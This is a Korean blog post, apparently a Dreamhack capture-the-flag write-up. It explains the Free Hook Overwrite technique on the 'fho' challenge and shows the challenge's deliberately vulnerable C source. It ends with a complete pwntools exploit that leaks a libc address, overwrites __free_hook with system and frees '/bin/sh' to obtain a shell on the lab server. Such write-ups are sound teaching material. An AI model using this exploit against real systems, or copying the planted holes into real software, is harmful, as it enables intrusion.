반응형

fho
0.01MB
fho.c
0.00MB
libc-2.27.so
1.94MB

 


Hook에는 갈고리라는 뜻이 있다.

 

컴퓨터 과학에서는 운영체제가 어떤 코드를 실행하려고 할 때, 이를 낚아채 다른 코드가 실행되게 하는 것을 Hooking(후킹)이라고 부르며, 이때 실행되는 코드를 Hook(훅)이라고 부른다.

 

후킹의 용도

  • 함수에 훅을 심어 함수의 호출을 모니터링 한다.
  • 함수에 기능을 추가한다.
  • 전혀 다른 코드를 심어서 실행 흐름을 변조한다.

 

예를 들어 malloc과 free에 훅을 설치하면 소프트웨어에서 할당하고, 해제하는 메모리를 모니터링 할 수 있다.

 

이를 더 응용하면 모든 함수의 도입 부분에 모니터링 함수를 혹으로 설치하여 어떤 소프트웨어가 실행 중에 호출하는 함수를 모두 추적(Tracing) 할 수도 있다.

 

이러한 모니터링 기능은 해커에 의해 악용될 수도 있는데, 해커가 키보드의 키 입력과 관련된 함수에 훅을 설치하면, 사용자가 입력하는 키를 모니터링하여 자신의 컴퓨터로 전송하는 것도 가능하다.

 

그리고 이번에 배울 Hook Overwrite은 훅의 특징을 이용한 공격 기법으로 malloc과 free 함수를 후킹하여 각 함수가 호출될 때, 공격자가 작성한 악의적인 코드가 실행되게 하는 기법을 배운다.

 

Full RELRO가 적용되더라도 libc의 데이터 영역에는 쓰기가 가능하므로, Full RELRO를 우회하는 기법으로 활용될 수 있다.

 


문제 실행 시 동작 파악과 보호 기법 확인

 

 

문제 파일을 실행하면 "Buf: " 문자열이 띄워지고 입력을 받는다.

 

"aaaa" 값을 입력해준 뒤 enter를 입력하면 "Arbitary-Address-Write" 문자열과 "To write: " 문자열을 띄우고 입력을 받는데, "0x12345678"을 입력했더니 "With: " 문자열이 띄워지더니 Segmentation fault 오류와 함께 종료된다.

 

 

보호 기법은 모두 적용되어 있다.

 


소스 코드

 

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

 

buf 배열의 크기는 0x30인데, read() 함수 호출에서 0x100 만큼 받고 있기 때문에 SBO가 발생한다.

 

또한 payload를 작성할 때 read는 send()를 사용하면 되지만, scanf는 sendline()를 사용해 문자열의 끝을 알리는 '\n'도 함께 전송해야 한다.

 

puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\\n", buf);

 

매우 큰 스택 버퍼 오버플로우가 발생하지만 알고 있는 정보가 없기 때문에 카나리를 올바르게 덮을 수 없고, 반환 주소도 유의미한 값으로 조작할 수 없다.

 

스택에 있는 데이터를 읽는 데 사용할 수 있을 것이다.

 

puts("[2] Arbitrary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\\n", addr, value);
*addr = value;

 

주소를 입력하고, 그 주소에 임의의 값을 쓸 수 있다.

 

puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);

 

주소를 입력하고 그 주소의 메모리를 해제할 수 있다.

 


공격 수단

 

공격자는 아래의 3가지 수단(Primitive)를 이용해 셸을 획득해야 한다.

  1. 스택의 어떤 값을 읽을 수 있다.
  2. 임의 주소에 임의 값을 쓸 수 있다.
  3. 임의 주소를 해제할 수 있다.

 

공격 순서

1. 라이브러리의 변수 및 함수들의 주소를 구한다.
2. 셸 획득

__free_hook, system 함수, “/bin/sh” 문자열은 libc.so에 정의되어 있으므로, 매핑된 libc.so 안의 주소를 구해야 이들의 주소를 계산할 수 있다.

 

위의 공격 수단 중 1번을 이용하면 스택의 값을 읽을 수 있는데, 스택에는 libc의 주소가 있을 가능성이 매우 크다.

 

특히, main 함수는 __libc_start_main 이라는 라이브러리 함수가 호출하므로 main 함수에서 반환 주소를 읽으면, 그 주소를 기반으로 필요한 변수와 함수들의 주소를 계산할 수 있다.

 

또한, 위의 공격 수단 중 2번을 이용하면 __free_hook의 값을 system 함수의 주소로 덮어쓰고, 3번을 이용해서 “/bin/sh”를 해제하게 하면 system(”/bin/sh”)가 호출되어 셸을 획득할 수 있다.

 


exploit

 

from pwn import *

#p = process('./fho')
p = remote('host3.dreamhack.games', 14753)
e = ELF('./fho')
libc = ELF('./libc-2.27.so')

# leak libc base addr
buf = b'a' * 0x48
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)

libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00' * 2)

libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b"/bin/sh"))

# print addrs
print("libc_start_main_xx : ", hex(libc_start_main_xx))
print("libc_base : ", hex(libc_base))
print("system : ", hex(system))
print("free_hook : ", hex(free_hook))
print("binsh : ", hex(binsh))

# overwrite 'free_hook' with 'system'
p.sendlineafter("To write: ", str(free_hook))

p.sendlineafter("With: ", str(system))

# exploit
p.sendlineafter("To free: ", str(binsh))

p.interactive()

 

buf에 왜 'a'를 0x48개 채우는지 궁금하다면 아래의 링크 내용을 참고해 GDB를 이용하여 분석해보면 된다.

 

https://sean.tistory.com/407

 


https://dreamhack.io/forum/qna/2523

반응형

'전쟁 > Dreamhack Pwn' 카테고리의 다른 글

[Dreamhack pwn] oneshot  (0) 2023.02.09
[Dreamhack pwn] basic_rop_x86  (0) 2023.01.21
[Dreamhack pwn] basic_rop_x64  (0) 2023.01.19
[Dreamhack pwn] rop  (2) 2023.01.14
[Dreamhack pwn] Return to Library  (0) 2023.01.07

+ Recent posts